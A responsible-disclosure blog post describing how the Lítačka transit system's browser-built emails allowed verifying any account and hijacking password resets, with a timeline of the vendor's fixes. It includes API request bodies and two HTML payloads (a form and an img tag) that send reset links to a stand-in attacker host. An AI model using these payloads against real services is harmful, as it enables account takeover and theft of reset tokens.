Just a few weeks ago, a new regional transportation system called Lítačka (a slang word for prepaid municipal transportation ticket used in some parts of the Czech Republic) was put into operation in Prague and the Central Bohemian Region. The system allows passengers to buy tickets in a mobile application, passengers can also pair their tickets with their payment cards so the validity of the prepaid ticket can later be checked by waving the card near random card readers in transportation vehicles. You could also steal a password reset link right from the unsuspecting user's browser.

We've quickly checked the system after the launch together with my friend Jakub Bouček and found some serious issues in a few minutes. One of the issues allowed account takeover via a botched forgotten password resets.

Let's sign up, we'll need an account. The email address needs to be verified so we'll need to click a link the system has emailed us.

Verifying any account

The body of the activation email including the verification link originates in the browser. It is sent to the server, which will then send it to the given email address. If you want to activate any account just check what your browser sends and take the verification link from the request.

The registration starts by sending this JSON request to https://www.pidlitacka.cz/api:

{
   "params": {
      "UserName": "litacka@...",
      "Password": "...",
      "SendPUK": false
   },
   "action": "CreateLogin"
}
Web Developer Tools in Firefox

The request in Firefox Developer Tools, the only tool we'll need

The response:

{
   "Result": {
      "ID": 0,
      "Type": {
         "Text": null,
         "ID": 0
      },
      "Text": "OK"
   },
   "Login": {
      "UserName": "litacka@...",
      "LoginID": ...,
      "Active": false
   }
}

Then the body of the email is generated in the browser and gets sent to https://www.pidlitacka.cz/api. The server will then email the message to the address specified:

{
   "action": "SendEmail",
   "params": {
      "LoginID": ...,
      "TokenID": 1,
      "BodyIsHtml": true,
      "Body": "...HTML... activate your account at: <br> <a href=\"https://www.pidlitacka.cz/activation?user=...&id=...\"> ...HTML...",
      "Email": "litacka@...",
      "Subject": "Account activation"
   }
}

You can inspect the request your browser sends and look for https://www.pidlitacka.cz/activation?user=...&id=... to verify and activate any account. Just open Developer Tools and inspect the api request. Worth noting is that the user URL parameter is Base64-encoded email address of the user we're verifying the account for, and the id parameter is 19 digits where the first 10 digits look like a “timestamp”, the number of seconds since January 1st, 1970, the format often used to specify time.

Jakub had an idea to check the forgotten password feature. If the browser would send the reset link the same way, the attacker would be able to get the link directly from the browser and would be able to take over any account by just resetting the password.

Resetting passwords

Password reset starts with a username check, the following request is sent to https://www.pidlitacka.cz/api:

{
   "action": "CheckUserName",
   "params": {
      "UserName": "litacka@..."
   }
}

After receiving the response, which also contains "LoginID": ..., the browser will generate the body of the reset email and will send it to https://www.pidlitacka.cz/api/requestPasswordChange. The request:

{
   "template": "...HTML... {{content}} ...HTML...",
   "root": "https://www.pidlitacka.cz/",
   "params": {
      "email": "litacka@..."
   },
   "type": "password"
}

Then the browser will display “We've sent you an e-mail with a link to change your password” but the request from the browser has indeed just a placeholder ({{content}}). The server will replace it with the link and some other text and will send the full message to the user. So I guess that's it.

Hi, upon your on-line request, we're sending you a link to a page where you can change your password.

The full message with the {{content}} placeholder replaced (Czech version of the message)

Wait, what if we could somehow exfiltrate the HTML which the system has replaced the {{content}} placeholder with and forward it to our server? Sounds like a plan. The HTML around the {{content}} placeholder is controlled by the attacker, so to exfiltrate the HTML, the attacker can wrap the placeholder with a form and a textarea tag:

{
   "template": "...HTML... <form action=https://attacker><textarea name=html>{{content}}</textarea><input type=submit value=CHANGE></form> ...HTML...",
   "root": "https://www.pidlitacka.cz/",
   "params": {
      "email": "litacka@..."
   },
   "type": "password"
}

The user receives an email, sees the CHANGE button, and clicks it. The browser takes the contents of the attacker-added text field, which now contains the message including the unique reset link, and sends it to the address specified by the attacker.

The message with the CHANGE button

The delivered message as modified by the attacker (Czech message but you get the idea)

Attacker's server log will contain something like this once the user submits the form:

GET /?html=...%3Ca+href%3D%22https%3A%2F%2Fwww.pidlitacka.cz%2Fpassword-reset%2Fstep2%3Fid%3D...%22%3E... HTTP/2.0

After a bit of decoding: <a href="https://www.pidlitacka.cz/password-reset/step2?id=...">. Now just take the link, open it in a browser and set the password to essentially take over any account.

Forgot your password? You can change it here.

“Forgot your password? You can change it here.”

A simple flow chart of the attack:

+-------------+
|   Browser   | (sends the modified template and the victim's email address)
+------+------+
       |
<form action=attacker>{{content}}</form>
       |
+------v------+
| Lítačka API | (replaces {{content}} by the link, sends email)
+------+------+
       |
<form action=attacker>link</form>
       |
+------v------+
|   Victim    | (the victim clicks the button in the email)
+------+------+
       |
password reset link
       |
+------v------+
|  Attacker   | (can set a new password and take over the account)
+-------------+

Hijacking with an image

The attack outlined above requires the victim to click the button in the reset email. There's another option – load an image from a server under the attacker's control:

<img src='https://attacker/?html={{content}}'>

The user opens the email, their browser sees the img tag, and will try to load the image from the URL which now includes the message with the unique password reset link. The Lítačka server has previously replaced the {{content}} placeholder with it. Note the use of single quotes in the src attribute, that's because double quotes in the message that replaces {{content}} would break the src attribute and prematurely finish it.

Such HTML exfiltration doesn't work in Chrome as it blocks images whose URLs contain both newlines and < characters. Firefox doesn't so loading the email would result in the request being logged:

GET /?html=...%3Ca%20href=%22https://www.pidlitacka.cz/password-reset/step2?id=...%22%3E... HTTP/2.0
Exfiltrating the link with an image in Firefox

The image request with the exfiltrated link in Firefox Developer Tools (message is in Czech)

The attacker could definitely use both methods and automate it but that's not the point of the article. The flow chart would look similar to when a form field is used, this method just doesn't require a user action.

Together with Jakub Bouček we'd like to ask all web developers, please do not trust anything the browser sends you, thanks. And especially when you send it something, don't expect it to come back intact. Also consider adding security.txt, it makes reporting security issues much easier and faster. Lítačka has added one since.

Timeline

As I always do, after finishing the post above I've sent it to the company running the system with a plan of publishing the article in a week (we've discussed the bug on Facebook before authoring the post, so there was no real reason to keep it secret). Their response? Simply wonderful:

  • August 29, 2018, 22:41 I emailed a secret link to this article to Michal Fišer, Chairman of the Board and General Manager of Operator ICT, the company behind the transportation sys­tem
  • August 30, 0:30 Just in case, I'm sending the secret link to a Head of Development and Innovation (we have a mutual friend, thanks Václav for making the connection), he replies in 13 minutes(!): “I'll make sure the link reaches the correct person”, wow!
  • August 30, 7:55 The Chairman of the Board and General Manager writes back, wow!
  • August 30, 13:02 I got an email from a Head of ICT and then he called to tell me they planned to deploy the fix later that day, sweet!
  • August 31, 13:55 I reported two bugs that Jakub had found. One unrelated bug that prevented you to sign up with an email address that contains a + sign, and one serious issue that despite the attempted fix still allows to activate any account: you could replace the victim's email address with some other in the request from the browser, and the server will send the activation link for the user specified by loginId (part of the request too) to that other address. You had to put the original address back to the user parameter for the link to work properly.
  • September 1, 1:11 Added that password reset looks fine to us but there's an obvious bug of the original API for sending the activation emails, which could be abused to send any messages to any recipients.
  • September 3, 23:08, after the weekend, they responded that they're deploying fixes for the remaining bugs, except the one preventing anyone with a + sign in their email address to sign up. They say it's a known bug and that they're fighting with an LDAP server problem. Relatable.
  • September 4, afternoon, Operator ICT called and asked if I could postpone publishing the blog post by a week – they found some issues in the latest fixes. Originally, the article was slated for publishing the following day but the company's response was wonderful and everything, they fixed the main bug (password reset hijacking) immediately, so why not, happy to move the date.
  • September 12, asked if they're ready. They said “almost”, sending any emails to anyone would be limited the following day.
  • Today, I've finally got their comment, so I'm ready to push the “Publish” button.

A comment from the company

“We greatly appreciate the professional approach by Mr. Špaček and his colleague who informed us about a potential security threat in a system that is now in its pilot phase. We're glad that upon the report, we've take immediate steps to improve the security of the regional transportation system. Feedback from experts like this one is very beneficial to us and helps us constantly improve the system for almost 3 million passengers within Prague and Central Bohemia. Thanks to the quick and professional response, there was no abuse.” Vladimir Antonin Bláha, spokesperson of the Operator ICT, a.s.

Thanks goes to Jakub (@JakubBoucek) for cooperation on this one and to the Operator ICT company for handling this incident very nicely. The Internet would be a nicer place if everyone would resolve issues the same way.

Michal Špaček

Michal Špaček

I build web applications and I'm into web application security. I like to speak about secure development. My mission is to teach web developers how to build secure and fast web applications and why.

Public trainings

Come to my public trainings, everybody's welcome: